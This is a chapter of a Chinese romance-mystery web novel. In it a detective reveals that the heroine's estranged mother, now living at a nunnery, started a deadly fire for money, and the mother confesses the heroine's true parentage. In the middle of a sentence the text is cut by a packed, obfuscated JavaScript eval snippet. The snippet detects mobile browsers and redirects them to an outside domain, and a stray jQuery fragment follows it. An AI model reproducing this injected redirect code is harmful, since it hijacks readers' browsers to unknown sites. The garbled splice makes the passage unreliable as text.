22. 因为钱
作品:《嘴嗨美人她不走心》 深夜。
梁景淮正襟危坐在桌前,张浩然在旁边记录。
“你们应该早就查到我了吧。”老尼长舒了一口气仿佛要解脱了,她缓缓道来。“当年我来云山当尼姑是因为无处可去,一时起意……”
“那时我身上揣了很多钱,而当时上一任的老住持刚好与我住一起。她看到后就起了贪心,我可是掏心掏肺地信任她呀,可她却两次三番贪心不足……”
“而且她还占了许多香火钱呢,只是那时管理不严,没人细究罢了……”
对于本案被害人,他们必然是查透了。
“我知道。”梁景淮说,“我只想知道案发那天,尼姑庵着火,老住持被烧死在佛堂里。而你们其余几个尼姑是怎么被绑在尼姑庵后面的板栗树上的?”
老尼,“是我把她们绑起来的。”
梁景淮,“可那天被人发现时你自己也被绑在树上了,究竟怎么回事?”
-
一场台风一次感冒耽误了好几天,叶落樱重新回到了甜品屋。木屋已经修好了,但就跟洗劫过了一般。
叶落樱重新洗洗刷刷,摆放整顿了一整天才勉强恢复到曾经的模样。但是货架冰柜空空如也。
很多设备和厨具坏了,连冰柜的食材也因为那时停电坏了,基本都清空了。
叶落樱忙碌一整天后泡了杯玫瑰花茶,悠闲地坐在窗边。她看了看窗外又扫了一圈空荡荡的木屋。
这才是她的生活啊,再怎么混日子也得有支撑,于她而言这甜品屋就是她的支撑。
叶落樱喝了口茶计划着哪天下山采购,哪天重新营业。
“姐姐,你又发呆了?”小甜妞站起来拿起算术本在叶落樱的眼前晃了晃。
叶落樱回神抬手摸了摸她头上的冲天辫,“来,我检查下做对了没有。”
小甜妞打了个呵欠转身爬上了后面的躺椅,“姐姐我困了,我想睡一会。”
“好吧,小懒妞。”
小甜妞是真困了,一会就睡着了。小甜妞一睡,仿佛全世界都安静下来了。
叶落樱突然有点不适应,她拿起手机翻了翻,感觉自己的手机也清静了许久许久了。
叶落樱一滑滑到了与林雨竹的聊天页面,以前一有闲暇时间林雨竹就会找她聊几句,或是分享新鲜事或是吐槽一下工作。
叶落樱拿开手机看了看,上次林雨竹找她已是一个月前了。她跟林雨竹认识5年了,五年的友情崩塌也就一瞬。
这世间到底又有什么是可靠的呢。
叶落樱突然又想起了梁景淮,昨晚,他说以后可以找他。
这是在跟她告别么?
云山失火案一破他就要走了,嗯,其实他就是在跟她说再见。
留不住的就让它去吧,孤独才是常态。
叶落樱重重呼了一口气把手机往旁边一丢,拿起纸笔开始写采购清单。
傍晚,张青把小甜妞接走了。窗外起风了,天边乌云密布,整个小木屋笼罩在昏暗中。
明明台风才刚走,怎么又有种狂风暴雨即将来袭的感觉。
叶落樱突然感觉到一股凉意,她抬头看向大门。屋里屋外都是空荡荡的一片,可总感觉哪里不对劲。
当叶落樱再次看过去时,她懵了一下。
只见张雪禅朝她走来了,而后面跟着的两个人正是梁景淮与张浩然。
张雪禅径直进了甜品屋,她顿了一瞬开口,“落樱,我有话对你说。”
梁景淮与张浩然在门口站着并没有跟进来,叶落樱有点懵地看向张雪禅。
叶落樱来云山快一年了,但张雪禅是第一次进甜品屋,也是第一次如此招摇地来找她。
更让叶落樱惊讶的是,今日的张雪禅不再是一身青纱,而是一袭蓝色长裙还挽起了发。
叶落樱一下想到了她年幼时印象里的张雪禅。
她爱美,每日都打扮得利利落落,收拾得漂漂亮亮。可那个她终究不在了。
“你谁呀?”叶落樱反应过来后,情绪又开始蹭蹭上涨了,“我不想听。”
“我是你母亲,落樱,你让妈妈跟你说几句话。再不说,以后就没有机会了……”
“你给我出去!”叶落樱只要看到张雪禅就失控,“我没妈,我妈在十年前就死了!”
张雪禅抬手拉叶落樱的手,“落樱,妈妈不求你原谅。妈妈只想跟你说几句话。”
叶落樱手一撤,“我说了我没有妈!也没有爸,他们都死了,我是孤儿。”
“落樱。”张雪禅扶着桌子提高了声量,“既然如此,那你跑到这云山来究竟是为什么?”
叶落樱说不出话,她握着杯子的两只手微微颤抖着。
“妈妈知道,你来这云山是因为我。”张雪禅语气平静,“落樱,这些年我不是不找你不认你,我是有苦衷的。”
每个人犯了错都说有苦衷,叶落樱浑身都在抗拒,她一句都不想听。
张雪禅也不知从哪说起,可时间紧迫就从源头说起吧,“叶盛明不是你的亲生父亲。”
亲眼看你带野男人回家,给你放风把门,我还会不知道么。
叶落樱,“我知道。”
“你爸爸是林绍洋。”张雪禅说,“就是你见过的那个男人,但是他不知道。”
叶落樱差点眼前一黑,原来当年她被逼着在外面看门,而里面偷情的竟然是她的亲生父母。
叶落樱已记不清那个男人的长相了,只记得他跟叶盛明一样。有时看她有几分慈爱,有时候是很不耐烦。
哀莫大于心死,叶落樱说话都提不起力气了,“我不想听你跟外面那些野男人的破事。”
张雪禅解释,“我没有别的男人了,我跟林绍洋是在认识叶盛明前就在一起的……”
窗外的风呼过一阵又一阵,天色彻底黑了下来。
张雪禅像是把自己的毕生都讲完了,她轻呼一口气,“妈妈终归是欠了你许多。”
张雪禅述说完毕一身轻松,她整了整身上的衣服走出去并带上了门。
屋子里没开灯,叶落樱静静地闭着眼睛躺在椅子上,其实睁眼闭眼都是一片漆黑。
不知过了多久,嘎吱一声,门被风吹开了。
叶落樱一睁眼看到门口昏暗的灯光下飘着细细雨丝,天空竟然不知在何时真又下起了雨。
雨越下越大,风越刮越狂。
叶落樱突然有股想冲进风雨里吼叫的冲动,可她生生抑制住了。吼了,叫了明天只会被称为疯子。
吞了,咽了,才是本事,因为明天她还得继续过,还得优雅地过。
梁景淮撑着一把黑伞从雨中钻进檐下,他收好伞抖了抖身上的水珠。进屋后他拉开灯弯腰把吹落在地的杂志和算术本捡了起来。
随即他又从旁边的凳子上拿过下午小甜妞盖过的一张薄毯盖在了叶落樱的身上。
叶落樱伸手把毯子往上扯,扯到脸上擦了擦眼睛。
此时,她发现刚刚想冲出去雨中呐喊的那股冲动已经消散得差不多了。
“这是张雪禅最后的一点金银首饰,她托我给你。”梁景淮把手上的一个青色小布袋放在了桌上,随即在她旁边的椅子上坐下,“无论在哪,人不为财死就为情亡,尼姑庵也不例外。”
叶落樱看着那布袋张了张了张嘴终究什么都没说。但她知道她与张雪禅的事怕是梁景淮比她都清楚得多。
梁景淮明白她的心思,“你是张雪禅唯一的孩子,她的东西自然就是你的。既然到了你手里就收着吧,不要白不要。”
叶落樱抬起红肿的眼睛看了他一眼,还是没说话。
梁景淮悠悠道,“叶盛明没有死,多年前就结婚生子了。前几年回了宣城,此后一直在宣城老家。”
叶落樱猛地坐了起来,原来叶盛明不是失踪了,是结婚生子去了。而这么多年却一次都没找过她。
也是,对于叶盛明而言,她又是他的谁呢,碍眼的野种罢了。
“你的亲生父
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608895|171470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲林绍洋曾经在沿海一带跑船,后来生意不好便回内地做起了木业生意。赶上房地产蓬勃发展,生意风生水起,在苏城一带小有名气……”
果然,梁景淮什么都查清楚了。可是叶落樱听着这些不得不面对的事实心里一阵一阵揪着疼。
她的生父她的养父都在世,他们都有各自的家庭,其乐融融。却没一个人去找过她管过她的死活。
她的亲生母亲也一样,宁愿躲到尼姑庵里也不去看看自己的亲生骨肉是否能吃饱饭,是否有屋檐可以躲雨。
原来,她真的一直都只是一个被人嫌弃的没人要的人。
眼泪无声地从眼角淌到耳廓。
张雪禅说,她去沿海工作的时候认识了林绍洋并很快就相爱了。后来又认识了叶盛明,叶盛明明知道她跟林绍洋是一对却一直明里暗里追着她。
后来林绍洋出去跑船三个月都没回来,张雪禅却发现自己的肚子大了。
张雪禅找到林绍洋的父母,不仅没得到认可还被狠狠地嘲讽。
于是张雪禅情急之下就跟一直对她无微不至的叶盛明结婚了,并且跟着叶盛明回了宣城老家。
等林绍洋找到张雪禅时,孩子都出生了,可是他们心里依然有彼此。每隔几个月林绍洋就会来宣城找张雪禅。
而张雪禅过得实在苦闷,因为叶盛明身体有问题,不育也不行,还阴晴不定经常发脾气。张雪禅不仅要藏着掖着许多秘密,还要被婆家骂娘家劝。
可叶盛明就是不肯离婚,时不时对她拳脚相加,骂她破烂货。可当时是叶盛明求她嫁给他的。
几年后,张雪禅与林绍洋又偷偷摸摸在一起了。
没想到的是,叶盛明竟然没有任何情绪。他说,没关系,你赶紧给我弄个儿子出来就行,我当亲儿子养。
张雪禅知道叶盛明对叶落樱的感情是很复杂的,她怎么还敢生孩子呢。
在张雪禅彻底了解了叶盛明这个变态后就自暴自弃般开始报复他了,她明目张胆地把林绍洋带到家里。
一开始叶盛明没反应,甚至还让张雪禅尽快给他生个儿子,后来不知怎么突然就爆发了。
张雪禅也突然意识到了自己的疯狂,她再也待不下去了,直接去沿海找林绍洋了。
这一去她才发现林绍洋早就结婚生子了。
此时,张雪禅才恍然大悟,可她哪都回不去了……
风声雨声笼罩着小木屋,只有屋内悄然无声。叶落樱躺着一动不动,只有眼泪止不住地流。
梁景淮从旁边的桌上一直给她抽纸擦,他问,“你为什么来这云山开甜品店?”
刚刚张雪禅也问过她,叶落樱一直都是这么回答,“因为我想看着她死。”
梁景淮微微叹了口气,“听说你小时候过得很艰难,张雪禅她……”
她外出偷情,就把叶落樱往房间一放,从不管她死活……
她带人回家云雨,就命令叶落樱在门口放哨……
她因为自己的龌龊事跟叶盛明闹矛盾就拿她发泄,她揪着叶落樱的头发把她往墙上撞……
她明知道亲朋好友,左邻右舍都传她们母女的闲话,都嫌弃她,可她还是抛弃她头也不回地走了。当时她是那么地害怕母亲离开,她使劲地抱住她的腿,嗷嗷大哭。
可张雪禅一抬手直接把她推旁边的池塘里去了,看都没看一眼就跑了……
张雪禅跑了,叶盛明也走了,年少的叶落樱吃饭都困难了。她只能不断地帮邻居,伯母,婶子他们拼命地干活换口饭吃。
她恨张雪禅,一直都恨她。所以,一知道张雪禅在云山,她就想来给她找不痛快。
梁景淮拿着纸巾给她擦了擦眼泪,把她两只冰凉的手塞进了毯子里。
“叶落樱,你母亲她~”梁景淮顿了顿,“是云山失火案的真凶。”
“去年深秋的大火就是她造成的……”
叶落樱懵了一瞬猛地坐了起来,“为什么?”
“因为钱。”